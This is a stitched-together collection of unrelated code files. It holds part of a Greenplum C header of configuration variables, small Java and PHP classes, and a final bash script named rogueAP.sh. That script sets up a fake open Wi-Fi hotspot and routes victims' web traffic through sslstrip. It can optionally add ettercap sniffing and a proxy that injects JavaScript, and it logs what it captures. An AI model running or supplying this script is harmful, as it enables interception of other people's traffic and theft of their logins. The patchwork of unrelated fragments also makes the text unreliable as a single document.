 * In order to facilitate testing of reader-gang/writer-gang synchronization
 * it is very handy to slow down the writer (opens important race-window).
 */
extern bool           gp_enable_slow_writer_testmode;

/*
 * MPP-6926: Resource Queues on by default
 */
#define GP_DEFAULT_RESOURCE_QUEUE_NAME "pg_default"

/* Parameter gp_debug_pgproc
 *
 * This run-time parameter requests to print out detailed info relevant to
 * PGPROC.
 */
extern bool gp_debug_pgproc;

/* Parameter debug_print_prelim_plan
 *
 * This run-time parameter is closely related to the PostgreSQL parameter
 * debug_print_plan which, if true, causes the final plan to display on the
 * server log prior to execution.  This parameter, if true, causes the
 * preliminary plan (from the optimizer prior to cdbparallelize) to display
 * on the log.
 */
extern bool Debug_print_prelim_plan;

/* Parameter debug_print_slice_table
 *
 * This run-time parameter, if true, causes the slice table for a plan to
 * display on the server log.  On a QD this occurs prior to sending the
 * slice table to any QE.  On a QE it occurs just prior to execution of
 * the plan slice.
 */
extern bool Debug_print_slice_table;

extern bool Debug_resource_group;

/*
 * gp_backup_directIO
 *
 * when set to 'true' the dump with direct I\O is enabled
 */
extern bool gp_backup_directIO;

/*
 * gp_backup_directIO_readChunk
 *
 *  This parameter controls the readChunk that is used during directI\O backup
 *  The value of this parameter is in megabyte
 */
extern int gp_backup_directIO_read_chunk_mb;

/*
 * gp_external_enable_exec
 *
 * when set to 'true' external tables that were defined with an EXECUTE
 * clause (will execute OS level commands) are allowed to be SELECTed from.
 * When set to 'false' trying to SELECT from such a table will result in an
 * error. Default is 'true'
 */
extern bool gp_external_enable_exec;

/* gp_external_max_segs
 *
 * The maximum number of segment databases that will get assigned to
 * connect to a specific gpfdist (or gpfdists) client (1 gpfdist:// URI). The limit
 * is good to have as there is a number of segdbs that as we increase
 * it won't add to performance but may actually decrease it, while
 * occupying unneeded resources. By having a limit we can control our
 * server resources better while not harming performance.
 */
extern int gp_external_max_segs;

/*
 * gp_command_count
 *
 * This GUC is 0 at the beginning of a client session and
 * increments for each command received from the client.
 */
extern int gp_command_count;

/*
 * gp_safefswritesize
 *
 * should only be set to <N bytes> on file systems that the so called
 * 'torn-write' problem may occur. This guc should be set for the minimum
 * write size that is always safe on this particular file system. The side
 * effect of increasing this value for torn write protection is that single row
 * INSERTs into append only tables will use <N bytes> of space and therefore
 * also slow down SELECTs and become strongly discouraged.
 *
 * On mature file systems where torn write may not occur this GUC should be
 * set to 0 (the default).
 */
extern int gp_safefswritesize;

/*
 * Gp_write_shared_snapshot
 *
 * The value of this variable is actually meaningless. We use it simply
 * in order to have a mechanism of dispatching a SET query that will
 * allocate writer gangs that will write the shared snapshot and make
 * it available for the reader gangs. This is currently only needed
 * before DECLARE'ing a cursor, since a cursor query uses only reader
 * gangs. But should be used for other things if it makes sense to do so.
 */
extern bool Gp_write_shared_snapshot;

/*
 * Request a pause to the fault-prober.
 */
extern bool gp_fts_probe_pause;

extern int gp_fts_transition_retries;
extern int gp_fts_transition_timeout;

extern bool gpvars_assign_gp_fts_probe_pause(bool newval, bool doit, GucSource source);

/*
 * Parameter gp_connections_per_thread
 *
 * The run-time parameter (GUC variables) gp_connections_per_thread
 * controls how many libpq connections to qExecs are processed in each
 * thread.
 *
 * Any number >= 1 is valid.
 *
 * 1 means each connection has its own thread.
 *
 * This can be set in the config file, or at runtime by a superuser using
 * SQL: set gp_connections_per_thread = x;
 *
 * The default is 256.	So, if there are fewer than 256 segdbs, all would be handled
 * by the same thread.
 *
 * Currently, this is used in two situation:
 *		1) In cdblink_setup, when the libpq connections are obtained by the dispatcher
 *				to the qExecs.
 *		2) In CdbDispatchCommand, when commands are sent from the dispatcher to the qExecs.
 *
 */
extern int	gp_connections_per_thread; /* GUC var - server operating mode.  */

extern bool assign_gp_connections_per_thread(int newval, bool doit, GucSource source);
extern const char *show_gp_connections_per_thread(void);

/*
 * If number of subtransactions within a transaction exceed this limit,
 * then a warning is given to the user.
 */
extern int32 gp_subtrans_warn_limit;

extern bool assign_gp_write_shared_snapshot(bool newval, bool doit, GucSource source);

extern char *gp_fault_action_string;	/* Use by guc.c as user defined fault
										 * action */
extern bool gp_set_read_only;

extern const char *role_to_string(GpRoleValue role);

extern int	gp_segment_connect_timeout; /* GUC var - timeout specifier for gang creation */
extern int	gp_snapshotadd_timeout; /* GUC var - timeout specifier for snapshot-creation wait */

extern int	gp_fts_probe_retries; /* GUC var - specifies probe number of retries for FTS */
extern int	gp_fts_probe_timeout; /* GUC var - specifies probe timeout for FTS */
extern int	gp_fts_probe_interval; /* GUC var - specifies polling interval for FTS */
extern int	gp_fts_probe_threadcount; /* GUC var - specifies number of threads to use for FTS probes */
extern bool	gp_fts_transition_parallel; /* GUC var - controls parallel segment transition for FTS */

extern int gp_gang_creation_retry_count; /* How many retries ? */
extern int gp_gang_creation_retry_timer; /* How long between retries */

/*
 * Parameter Gp_max_packet_size
 *
 * The run-time parameter gp_max_packet_size controls the largest packet
 * size that the interconnect will transmit.  In general, the interconnect
 * tries to squeeze as many tuplechunks as possible into a packet without going
 * above this size limit.
 *
 * The largest tuple chunk size that the system will form can be derived
 * from this with:
 *		MAX_CHUNK_SIZE = Gp_max_packet_size - PACKET_HEADER_SIZE - TUPLE_CHUNK_HEADER_SIZE
 *
 *
 */
extern int	Gp_max_packet_size;	/* GUC var */

#define DEFAULT_PACKET_SIZE 8192
#define MIN_PACKET_SIZE 512
#define MAX_PACKET_SIZE 65507 /* Max payload for IPv4/UDP (subtract 20 more for IPv6 without extensions) */

/*
 * Support for multiple "types" of interconnect
 */

#define INTERCONNECT_TYPE_TCP    (0)
#define INTERCONNECT_TYPE_UDPIFC (1)

extern int Gp_interconnect_type;

extern const char *gpvars_assign_gp_interconnect_type(const char *newval, bool doit, GucSource source __attribute__((unused)) );
extern const char *gpvars_show_gp_interconnect_type(void);

#define INTERCONNECT_FC_METHOD_CAPACITY (0)
#define INTERCONNECT_FC_METHOD_LOSS     (2)

extern int Gp_interconnect_fc_method;

extern const char *gpvars_assign_gp_interconnect_fc_method(const char *newval, bool doit, GucSource source __attribute__((unused)) );
extern const char *gpvars_show_gp_interconnect_fc_method(void);

/*
 * Parameter Gp_interconnect_queue_depth
 *
 * The run-time parameter Gp_interconnect_queue_depth controls the
 * number of outstanding messages allowed to accumulated on a
 * 'connection' before the peer will start to backoff.
 *
 * This guc is specific to the UDP-interconnect.
 *
 */
extern int	Gp_interconnect_queue_depth;

/*
 * Parameter Gp_interconnect_snd_queue_depth
 *
 * The run-time parameter Gp_interconnect_snd_queue_depth controls the
 * average number of outstanding messages on the sender side
 *
 * This guc is specific to the UDP-interconnect.
 *
 */
extern int	Gp_interconnect_snd_queue_depth;
extern int	Gp_interconnect_timer_period;
extern int	Gp_interconnect_timer_checking_period;
extern int	Gp_interconnect_default_rtt;
extern int	Gp_interconnect_min_rto;
extern int  Gp_interconnect_transmit_timeout;
extern int	Gp_interconnect_min_retries_before_timeout;
extern int	Gp_interconnect_debug_retry_interval;

/* UDP recv buf size in KB.  For testing */
extern int 	Gp_udp_bufsize_k;

/*
 * Parameter Gp_interconnect_hash_multiplier
 *
 * The run-time parameter Gp_interconnect_hash_multiplier
 * controls the number of hash buckets used to track 'connections.'
 *
 * This guc is specific to the UDP-interconnect.
 *
 */
extern int	Gp_interconnect_hash_multiplier;

/*
 * Parameter gp_interconnect_aggressive_retry
 *
 * The run-time parameter gp_interconnect_aggressive_retry controls the
 * activation of the application-level retry (which acts much faster than the OS-level
 * TCP retries); In most cases this should stay enabled.
 */
extern bool gp_interconnect_aggressive_retry; /* fast-track app-level retry */

/*
 * Parameter gp_interconnect_full_crc
 *
 * Perform a full CRC on UDP-packets as they depart and arrive.
 */
extern bool gp_interconnect_full_crc;

/*
 * Parameter gp_interconnect_log_stats
 *
 * Emit inteconnect statistics at log-level, instead of debug1
 */
extern bool gp_interconnect_log_stats;

extern bool gp_interconnect_cache_future_packets;

/*
 * Parameter gp_segment
 *
 * The segment (content) controlled by this QE
 * content indicator: -1 for entry database, 0, ..., n-1 for segment database
 *
 * This variable is in the PGC_BACKEND context; it is set internally by the
 * Query Dispatcher, and is propagated to Query Executors in the connection
 * parameters.	It is not modifiable by any user, ever.
 */
#define UNDEF_SEGMENT -2
extern int	Gp_segment;		/* GUC var */

extern int	getgpsegmentCount(void);

/*
 * Parameter interconnect_setup_timeout
 *
 * The run-time parameter (GUC variable) interconnect_setup_timeout is used
 * during SetupInterconnect() to timeout the operation.  This value is in
 * seconds.  Setting it to zero effectively disables the timeout.
 */
extern int	interconnect_setup_timeout;

#ifdef USE_ASSERT_CHECKING
/*
 * UDP-IC Test hooks (for fault injection).
 */
extern int gp_udpic_dropseg; /* specifies which segments to apply the
							  * following two gucs -- if set to
							  * UNDEF_SEGMENT, all segments apply
							  * them. */
extern int gp_udpic_dropxmit_percent;
extern int gp_udpic_dropacks_percent;
extern int gp_udpic_fault_inject_percent;
extern int gp_udpic_fault_inject_bitmap;
extern int gp_udpic_network_disable_ipv6;
#endif

/*
 * Each slice table has a unique ID (certain commands like "vacuum
 * analyze" run many many slice-tables for each gp_command_id). This
 * gets passed around as part of the slice-table (not used as a guc!).
 */
extern uint32 gp_interconnect_id;

/* --------------------------------------------------------------------------------------------------
 * Logging
 */

typedef enum GpVars_Verbosity
{
	GPVARS_VERBOSITY_UNDEFINED = 0,
    GPVARS_VERBOSITY_OFF,
	GPVARS_VERBOSITY_TERSE,
	GPVARS_VERBOSITY_VERBOSE,
    GPVARS_VERBOSITY_DEBUG,
} GpVars_Verbosity;

/* Enable single-slice single-row inserts. */
extern bool gp_enable_fast_sri;

/* Enable single-mirror pair dispatch. */
extern bool gp_enable_direct_dispatch;

/* Name of pseudo-function to access any table as if it was randomly distributed. */
#define GP_DIST_RANDOM_NAME "GP_DIST_RANDOM"

/*
 * gp_log_gang (string)
 *
 * Should creation, reallocation and cleanup of gangs of QE processes be logged?
 * "OFF"     -> only errors are logged
 * "TERSE"   -> terse logging of routine events, e.g. creation of new qExecs
 * "VERBOSE" -> gang allocation per command is logged
 * "DEBUG"   -> additional events are logged at severity level DEBUG1 to DEBUG5
 *
 * The messages that are enabled by the TERSE and VERBOSE settings are
 * written with a severity level of LOG.
 */
extern GpVars_Verbosity    gp_log_gang;

const char *gpvars_assign_gp_log_gang(const char *newval, bool doit, GucSource source);
const char *gpvars_show_gp_log_gang(void);

/*
 * gp_log_fts (string)
 *
 * What kind of messages should be logged by the fault-prober
 * "OFF"     -> only errors are logged
 * "TERSE"   -> terse logging of routine events
 * "VERBOSE" -> more messages
 * "DEBUG"   -> additional events are logged at severity level DEBUG1 to DEBUG5
 *
 * The messages that are enabled by the TERSE and VERBOSE settings are
 * written with a severity level of LOG.
 */
extern GpVars_Verbosity    gp_log_fts;

const char *gpvars_assign_gp_log_fts(const char *newval, bool doit, GucSource source);
const char *gpvars_show_gp_log_fts(void);

/*
 * gp_log_interconnect (string)
 *
 * Should connections between internal processes be logged?  (qDisp/qExec/etc)
 * "OFF"     -> connection errors are logged
 * "TERSE"   -> terse logging of routine events, e.g. successful connections
 * "VERBOSE" -> most interconnect setup events are logged
 * "DEBUG"   -> additional events are logged at severity level DEBUG1 to DEBUG5.
 *
 * The messages that are enabled by the TERSE and VERBOSE settings are
 * written with a severity level of LOG.
 */
extern GpVars_Verbosity    gp_log_interconnect;

const char *gpvars_assign_gp_log_interconnect(const char *newval, bool doit, GucSource source __attribute__((unused)) );
const char *gpvars_show_gp_log_interconnect(void);

/* --------------------------------------------------------------------------------------------------
 * Greenplum Optimizer GUCs
 */

/*
 * "gp_motion_cost_per_row"
 *
 * If >0, the planner uses this value -- instead of 2 * "cpu_tuple_cost" --
 * for Motion operator cost estimation.
 */
extern double   gp_motion_cost_per_row;

/*
 * "gp_segments_for_planner"
 *
 * If >0, number of segment dbs for the planner to assume in its cost and size
 * estimates.  If 0, estimates are based on the actual number of segment dbs.
 */
extern int      gp_segments_for_planner;

/*
 * "gp_enable_multiphase_agg"
 *
 * Unlike some other enable... vars, gp_enable_multiphase_agg is not cost based.
 * When set to false, the planner will not use multi-phase aggregation.
 */
extern bool gp_enable_multiphase_agg;

/*
 * Perform a post-planning scan of the final plan looking for motion deadlocks:
 * emit verbose messages about any found.
 */
extern bool gp_enable_motion_deadlock_sanity;

/*
 * Adjust selectivity for nulltests atop of outer joins;
 * Special casing prominent use case to work around lack of (NOT) IN subqueries
 */
extern bool gp_adjust_selectivity_for_outerjoins;

/*
 * Target density for hash-node (HJ).
 */
extern int gp_hashjoin_tuples_per_bucket;
extern int gp_hashagg_groups_per_bucket;

/*
 * Capping the amount of memory used for metadata (buckets and batches pointers)
 * for spilling HashJoins. This is in addition to the operator memory quota,
 * which is used only for storing tuples (MPP-22417)
 */
extern int gp_hashjoin_metadata_memory_percent;

/*
 * Damping of selectivities of clauses which pertain to the same base
 * relation; compensates for undetected correlation
 */
extern bool gp_selectivity_damping_for_scans;

/*
 * Damping of selectivities of clauses in joins
 */
extern bool gp_selectivity_damping_for_joins;

/*
 * Damping factor for selecticity damping
 */
extern double gp_selectivity_damping_factor;

/*
 * Sort selectivities by significance before applying
 * damping (ON by default)
 */
extern bool gp_selectivity_damping_sigsort;

/* ----- Experimental Features ----- */

/*
 * "gp_enable_agg_distinct"
 *
 * May Greenplum redistribute on the argument of a lone aggregate distinct in
 * order to use 2-phase aggregation?
 *
 * The code does uses planner estimates to decide whether to use this feature,
 * when enabled.
 */
extern bool gp_enable_agg_distinct;

/*
 * "gp_enable_agg_distinct_pruning"
 *
 * May Greenplum use grouping in the first phases of 3-phase aggregation to
 * prune values from DISTINCT-qualified aggregate function arguments?
 *
 * The code uses planner estimates to decide whether to use this feature,
 * when enabled.  See, however, gp_eager_dqa_pruning.
 */
extern bool gp_enable_dqa_pruning;

/*
 * "gp_eager_agg_distinct_pruning"
 *
 * Should Greenplum bias planner estimates so as to favor the use of grouping
 * in the first phases of 3-phase aggregation to prune values from DISTINCT-
 * qualified aggregate function arguments?
 *
 * Note that this has effect only when gp_enable_dqa_pruning it true.  It
 * provided to facilitate testing and is not a tuning parameter.
 */
extern bool gp_eager_dqa_pruning;

/*
 * "gp_eager_one_phase_agg"
 *
 * Should Greenplum bias planner estimates so as to favor the use of one
 * phase aggregation?
 *
 * It is provided to facilitate testing and is not a tuning parameter.
 */
extern bool gp_eager_one_phase_agg;

/*
 * "gp_eager_two_phase_agg"
 *
 * Should Greenplum bias planner estimates so as to favor the use of two
 * phase aggregation?
 *
 * It is provided to facilitate testing and is not a tuning parameter.
 */
extern bool gp_eager_two_phase_agg;

/*
 * "gp_enable_groupext_distinct_pruning"
 *
 * Should Greenplum bias planner estimates so as to favor the use of
 * grouping in the first phases of 3-phase aggregation to prune values
 * from DISTINCT-qualified aggregate function arguments on a grouping
 * extension query?
 */
extern bool gp_enable_groupext_distinct_pruning;

/*
 * "gp_enable_groupext_distinct_gather"
 *
 * Should Greenplum bias planner estimates so as to favor the use of
 * gathering motion to gather the data into a single node to compute
 * DISTINCT-qualified aggregates on a grouping extension query?
 */
extern bool gp_enable_groupext_distinct_gather;

/*
 * "gp_distinct_grouping_sets_threshold"
 *
 * The planner will treat gp_enable_groupext_distinct_pruning as 'off'
 * when the number of grouping sets that have been rewritten based
 * on the multi-phrase aggregation exceeds the threshold value here divided by
 * the number of distinct-qualified aggregates.
 */
extern int gp_distinct_grouping_sets_threshold;

/* May Greenplum apply Unique operator (and possibly a Sort) in parallel prior
 * to the collocation motion for a Unique operator?  The idea is to reduce
 * the number of rows moving over the interconnect.
 *
 * The code uses planner estimates for this.  If enabled, the tactic is used
 * only if it is estimated to be cheaper that a 1-phase approach.  However,
 * see gp_eqger_preunique.
 */
extern bool gp_enable_preunique;

/* If gp_enable_preunique is true, then  apply the associated optimzation
 * in an "eager" fashion.  In effect, this setting overrides the cost-
 * based decision whether to use a 2-phase approach to duplicate removal.
 */
extern bool gp_eager_preunique;

/* May Greenplum use sequential window plans instead of parallel window
 * plans? (OLAP Experimental.)
 *
 * The code does not currently use planner estimates for this.  If enabled,
 * the tactic is used whenever possible.
 */
extern bool gp_enable_sequential_window_plans;

/* May Greenplum dump statistics for all segments as a huge ugly string
 * during EXPLAIN ANALYZE?
 *
 */
extern bool gp_enable_explain_allstat;

/* May Greenplum restrict ORDER BY sorts to the first N rows if the ORDER BY
 * is wrapped by a LIMIT clause (where N=OFFSET+LIMIT)?
 *
 * The code does not currently use planner estimates for this.  If enabled,
 * the tactic is used whenever possible.
 */
extern bool gp_enable_sort_limit;

/* May Greenplum discard duplicate rows in sort if it is is wrapped by a
 * DISTINCT clause (unique aggregation operator)?
 *
 * The code does not currently use planner estimates for this.  If enabled,
 * the tactic is used whenever possible.
 */
extern bool gp_enable_sort_distinct;

/* Greenplum MK Sort */
extern bool gp_enable_mk_sort;
extern bool gp_enable_motion_mk_sort;

#ifdef USE_ASSERT_CHECKING
extern bool gp_mk_sort_check;
#endif

extern bool trace_sort;

/* Generic Greenplum sort flag for testing.
 *
 *
 */
extern int gp_sort_flags;

/* If Greenplum is discarding duplicate rows in sort, switch back to
 * standard sort if the number of distinct values exceeds max_distinct.
 * (If the number of distinct values is too large the behavior of the
 * insertion sort is inferior to the heapsort)
 */
extern int gp_sort_max_distinct;

/* turn the hash partitioned tables on */

extern bool	gp_enable_hash_partitioned_tables;

/**
 * Enable dynamic pruning of partitions based on join condition.
 */
extern bool gp_dynamic_partition_pruning;

/**
 * Sharing of plan fragments for common table expressions
 */
extern bool gp_cte_sharing;

/**
 * Enable prototype recursive CTE feature
 */
extern bool gp_recursive_cte_prototype;

/* MPP-7770: disallow altering storage using SET WITH */

extern bool	gp_setwith_alter_storage;

/* MPP-9772, MPP-9773: remove support for CREATE INDEX CONCURRENTLY */
extern bool	gp_create_index_concurrently;

/* Priority for the segworkers relative to the postmaster's priority */
extern int gp_segworker_relative_priority;

/*  Max size of dispatched plans; 0 if no limit */
extern int gp_max_plan_size;

/* The maximum number of times on average that the hybrid hashed aggregation
 * algorithm will plan to spill an input row to disk before including it in
 * an aggregation.  Increasing this parameter will cause the planner to choose
 * hybrid hashed aggregation at lower settings of work_mem than it otherwise
 * would.
 */
extern double gp_hashagg_rewrite_limit;

/* If we use two stage hashagg, we can stream the bottom half */
extern bool gp_hashagg_streambottom;

/* The default number of batches to use when the hybrid hashed aggregation
 * algorithm (re-)spills in-memory groups to disk.
 */
extern int gp_hashagg_default_nbatches;

/* Hashjoin use bloom filter */
extern int gp_hashjoin_bloomfilter;

/* Get statistics for partitioned parent from a child */
extern bool 	gp_statistics_pullup_from_child_partition;

/* Extract numdistinct from foreign key relationship */
extern bool		gp_statistics_use_fkeys;

/* Analyze related gucs */
extern int 		gp_statistics_blocks_target;
extern double	gp_statistics_ndistinct_scaling_ratio_threshold;
extern double	gp_statistics_sampling_threshold;

/* Analyze tools */
extern int gp_motion_slice_noop;
#ifdef ENABLE_LTRACE
extern int gp_ltrace_flag;
#endif

/* Disable setting of hint-bits while reading db pages */
extern bool gp_disable_tuple_hints;

/* Enable gpmon */
extern bool gpvars_assign_gp_enable_gpperfmon(bool newval, bool doit, GucSource source);
extern bool gpvars_assign_gp_gpperfmon_send_interval(int newval, bool doit, GucSource source);
extern bool gp_enable_gpperfmon;
extern int gp_gpperfmon_send_interval;
extern bool force_bitmap_table_scan;

extern bool dml_ignore_target_partition_check;

/*gpmon alert level*/
/* control log alert level used by gpperfmon */
typedef enum
{
	GPPERFMON_LOG_ALERT_LEVEL_NONE,
	GPPERFMON_LOG_ALERT_LEVEL_WARNING,
	GPPERFMON_LOG_ALERT_LEVEL_ERROR,
	GPPERFMON_LOG_ALERT_LEVEL_FATAL,
	GPPERFMON_LOG_ALERT_LEVEL_PANIC
} GpperfmonLogAlertLevel;
extern GpperfmonLogAlertLevel gpperfmon_log_alert_level;
extern const char *gpperfmon_log_alert_level_to_string(GpperfmonLogAlertLevel level);
extern GpperfmonLogAlertLevel gpperfmon_log_alert_level_from_string(const char *level_string);
extern const char *gpvars_assign_gp_gpperfmon_log_alert_level(const char *newval, bool doit, GucSource source);
extern const char *gpvars_show_gp_gpperfmon_log_alert_level(void);

extern int gp_workfile_compress_algorithm;
extern bool gp_workfile_checksumming;
extern double gp_workfile_limit_per_segment;
extern double gp_workfile_limit_per_query;
extern int gp_workfile_limit_files_per_query;
extern int gp_workfile_caching_loglevel;
extern int gp_sessionstate_loglevel;
extern bool gp_workfile_faultinject;
extern int gp_workfile_bytes_to_checksum;
/* The type of work files that HashJoin should use */
extern int gp_workfile_type_hashjoin;

/* Disable logging while creating mapreduce views */
extern bool gp_mapreduce_define;
extern bool coredump_on_memerror;

/* Autostats feature for MPP-4082. */
typedef enum
{
	GP_AUTOSTATS_NONE = 0,		/* Autostats is switched off */
	GP_AUTOSTATS_ON_CHANGE,		/* Autostats is enabled on change (insert/delete/update/ctas) */
	GP_AUTOSTATS_ON_NO_STATS,		/* Autostats is enabled on ctas or copy or insert if no stats are present */
} GpAutoStatsModeValue;
extern GpAutoStatsModeValue gp_autostats_mode;
extern char                *gp_autostats_mode_string;
extern GpAutoStatsModeValue gp_autostats_mode_in_functions;
extern char                *gp_autostats_mode_in_functions_string;
extern int                  gp_autostats_on_change_threshold;
extern bool					log_autostats;
/* hook functions to set gp_autostats_mode and gp_autostats_mode_in_functions */
extern const char *gpvars_assign_gp_autostats_mode(const char *newval, bool doit, GucSource source);
extern const char *gpvars_show_gp_autostats_mode(void);
extern const char *gpvars_assign_gp_autostats_mode_in_functions(const char *newval, bool doit, GucSource source);
extern const char *gpvars_show_gp_autostats_mode_in_functions(void);

/* --------------------------------------------------------------------------------------------------
 * Miscellaneous developer use
 */

/*
 * gp_dev_notice_agg_cost (bool)
 *
 * Issue aggregation optimizer cost estimates as NOTICE level messages
 * during GPDB aggregation planning.  This is intended to facilitate
 * tuning the cost algorithm.  The presence of this switch should not
 * be published.  The name is intended to suggest that it is for developer
 * use only.
 */
extern bool  gp_dev_notice_agg_cost;

/* --------------------------------------------------------------------------------------------------
 * Server debugging
 */

/*
 * gp_debug_linger (integer)
 *
 * Upon an error with severity FATAL and error code ERRCODE_INTERNAL_ERROR,
 * errfinish() will sleep() for the specified number of seconds before
 * termination, to let the user attach a debugger.
 */
extern int  gp_debug_linger;

/* --------------------------------------------------------------------------------------------------
 * Non-GUC globals
 */

#define UNSET_SLICE_ID -1
extern int	currentSliceId;

/* Segment id where singleton gangs are to be dispatched. */
extern int  gp_singleton_segindex;

extern int cdb_total_plans;
/* Enable ading the cost for walking the chain in the hash join. */
extern bool gp_cost_hashjoin_chainwalk;

extern int cdb_total_slices;
extern int cdb_max_slices;

typedef struct GpId
{
	int4		numsegments;	/* count of distinct segindexes */
	int4		dbid;			/* the dbid of this database */
	int4		segindex;		/* content indicator: -1 for entry database,
								 * 0, ..., n-1 for segment database *
								 * a primary and its mirror have the same segIndex */
} GpId;

/* --------------------------------------------------------------------------------------------------
 * Global variable declaration for the data for the single row of gp_id table
 */
extern GpId GpIdentity;
#define UNINITIALIZED_GP_IDENTITY_VALUE (-10000)
extern int GpStandbyDbid;

/* Stores the listener port that this process uses to listen for incoming
 * Interconnect connections from other Motion nodes.
 */
extern uint32 Gp_listener_port;

/* SequenceServer information to be shared with everyone */
typedef struct SeqServerControlBlock
{
	int4		seqServerPort;
	XLogRecPtr  lastXlogEntry;
}	SeqServerControlBlock;

extern SeqServerControlBlock *seqServerCtl;

/*
 * Thread-safe routine to write to the log
 */
extern void write_log(const char *fmt,...) __attribute__((format(printf, 1, 2)));

extern void verifyGpIdentityIsSet(void);

extern const char *gpvars_assign_gp_resource_manager_policy(const char *newval, bool doit, GucSource source __attribute__((unused)) );

extern const char *gpvars_show_gp_resource_manager_policy(void);

extern bool gpvars_assign_max_resource_groups(int newval, bool doit, GucSource source __attribute__((unused)));

extern const char *gpvars_assign_gp_resqueue_memory_policy(const char *newval, bool doit, GucSource source __attribute__((unused)) );

extern const char *gpvars_show_gp_resqueue_memory_policy(void);

extern const char *gpvars_assign_gp_resgroup_memory_policy(const char *newval, bool doit, GucSource source __attribute__((unused)) );

extern const char *gpvars_show_gp_resgroup_memory_policy(void);

extern bool gpvars_assign_statement_mem(int newval, bool doit, GucSource source __attribute__((unused)) );

extern void increment_command_count(void);

/*
 * switch to control inverse distribution function strategy.
 */
extern char *gp_idf_deduplicate_str;

/* default to RANDOM distribution for CREATE TABLE without DISTRIBUTED BY */
extern bool gp_create_table_random_default_distribution;

#endif   /* CDBVARS_H */


text: Unity & Socket.IO interactive installation


text:
package com.kxyu.domes.okhttp.builder;

import com.kxyu.domes.okhttp.request.OtherRequest;
import com.kxyu.domes.okhttp.request.RequestCall;

import okhttp3.RequestBody;

/**
 * DELETE、PUT、PATCH等其他方法
 */
public class OtherRequestBuilder extends OkHttpRequestBuilder<OtherRequestBuilder>
{
    private RequestBody requestBody;
    private String method;
    private String content;

    public OtherRequestBuilder(String method)
    {
        this.method = method;
    }

    @Override
    public RequestCall build()
    {
        return new OtherRequest(requestBody, content, method, url, tag, params, headers,id).build();
    }

    public OtherRequestBuilder requestBody(RequestBody requestBody)
    {
        this.requestBody = requestBody;
        return this;
    }

    public OtherRequestBuilder requestBody(String content)
    {
        this.content = content;
        return this;
    }

}


text:
/* Generated By:JJTree: Do not edit this line. ASTTypeArgument.java */

package net.sourceforge.pmd.ast;

public class ASTTypeArgument extends SimpleJavaNode {
    public ASTTypeArgument(int id) {
        super(id);
    }

    public ASTTypeArgument(JavaParser p, int id) {
        super(p, id);
    }

    /**
     * Accept the visitor. *
     */
    public Object jjtAccept(JavaParserVisitor visitor, Object data) {
        return visitor.visit(this, data);
    }
}


text:
<?php

namespace Symfony\Component\Security\Http\Logout;

use Symfony\Component\Security\Core\Authentication\Token\TokenInterface;
use Symfony\Component\HttpFoundation\Response;
use Symfony\Component\HttpFoundation\Request;

/**
 * Interface that needs to be implemented by LogoutHandlers.
 *
 * @author Johannes M. Schmitt <schmittjoh@gmail.com>
 */
interface LogoutHandlerInterface
{
    /**
     * This method is called by the LogoutListener when a user has requested
     * to be logged out. Usually, you would unset session variables, or remove
     * cookies, etc.
     *
     * @param Request $request
     * @param Response $response
     * @param TokenInterface $token
     * @return void
     */
    function logout(Request $request, Response $response, TokenInterface $token);
}


text:
LOGS_PATH="/home/ashutosh/fdp/fakewifilogs/$(date '+%Y-%m-%d_%H-%M')"

OUTPUT_INTERFACE="eth0"
ROGUE_AP_INTERFACE="wlan1"
ROGUE_AP_CHANNEL=6
ROGUE_AP_SSID="OpenWifi"
DHCPD_CONF_FILE="/etc/dhcp/dhcpd_ap.conf"
USE_SSLTRIP="yes"
USE_ETTERCAP="no"
USE_SERGIO="no" # Note: incompatible with USE_SSLSTRIP (also launches its own SSL strip tool)

###############################################

if [ "$1" == "stop" ];then
	echo "Killing Airbase-ng..."
	pkill airbase-ng
	sleep 3;
	echo "Killing DHCP..."
	pkill dhcpd
	rm /var/run/dhcpd.pid
	sleep 3;
	echo "Flushing iptables"
	iptables --flush
	iptables --table nat --flush
	iptables --delete-chain
	iptables --table nat --delete-chain
	if [ "$USE_SSLTRIP" == "yes" ]
	then
		echo "killing sslstrip"
		killall sslstrip
	fi
	if [ "$USE_ETTERCAP" == "yes" ]
	then
		echo "Kill all ettercap"
		killall -9 ettercap
	fi

	if [ "$USE_SERGIO" == "yes" ]
	then
		echo "Kill sergio proxy"
		pkill -9 -f sergio-proxy
	fi

	echo "disabling IP Forwarding"
	echo "0" > /proc/sys/net/ipv4/ip_forward

	echo "Stop airmon-ng on wlan1mon"
	airmon-ng stop wlan1mon

elif [ "$1" == "start" ]
then
	echo "Tools output stored in ${LOGS_PATH}"

	mkdir -p "${LOGS_PATH}"

	echo "Putting card in monitor mode"
	airmon-ng start $ROGUE_AP_INTERFACE
	sleep 5;
	echo "Starting Fake AP..."
	airbase-ng -e "$ROGUE_AP_SSID" -c $ROGUE_AP_CHANNEL wlan1mon &
	sleep 5;

	echo "configuring interface at0 according to dhcpd config"
	ifconfig at0 up
	ifconfig at0 192.168.3.1 netmask 255.255.255.0
	echo "adding a route"
	route add -net 192.168.3.0 netmask 255.255.255.0 gw 192.168.3.1
	sleep 5;
	echo "configuring iptables"
	iptables -P FORWARD ACCEPT
	iptables -t nat -A POSTROUTING -o $OUTPUT_INTERFACE -j MASQUERADE
	if [ "$USE_SSLTRIP" == "yes" ]
	then
		echo "setting up sslstrip interception"
		iptables -t nat -A PREROUTING -p tcp -i at0 --destination-port 80 -j REDIRECT --to-port 15000

		echo "SSLStrip running... "
		sslstrip -w ${LOGS_PATH}/SSLStrip_log.txt -a -l 15000 -f &
		sleep 2;
	fi

	echo "clearing lease table"
	echo > '/var/lib/dhcp/dhcpd.leases'

	cp ./dhcpd.conf $DHCPD_CONF_FILE
	echo "starting new DHCPD server"
	#ln -s /var/run/dhcp-server/dhcpd.pid /var/run/dhcpd.pid

	dhcpd -d -f -cf "$DHCPD_CONF_FILE" at0 &
	sleep 5;
	if [ "$USE_ETTERCAP" == "yes" ]
	then
		echo "Launching ettercap, spy all hosts on the at0 interface's subnet"
		xterm -bg black -fg blue -e ettercap --silent -T -q -p --log-msg ${LOGS_PATH}/ettercap.log -i at0 // // &
		sleep 8
	fi

	if [ "$USE_SERGIO" == "yes" ]
	then
		iptables -t nat -A PREROUTING -p tcp -i at0 --destination-port 80 -j REDIRECT --to-port 15000 # Redirection de http vers port 15000
		echo "Starting segio proxy to inject javascript"
		/opt/sergio-proxy/sergio-proxy.py -l 15000 --inject  --html-url "http://192.168.3.1/index" -w ${LOGS_PATH}/SSLStrip_log.txt -a -k  & #  --count-limit 2
	fi

	echo "Enable IP Forwarding"
	echo "1" > /proc/sys/net/ipv4/ip_forward

else
	echo "usage: ./rogueAP.sh stop|start"
fi


text:
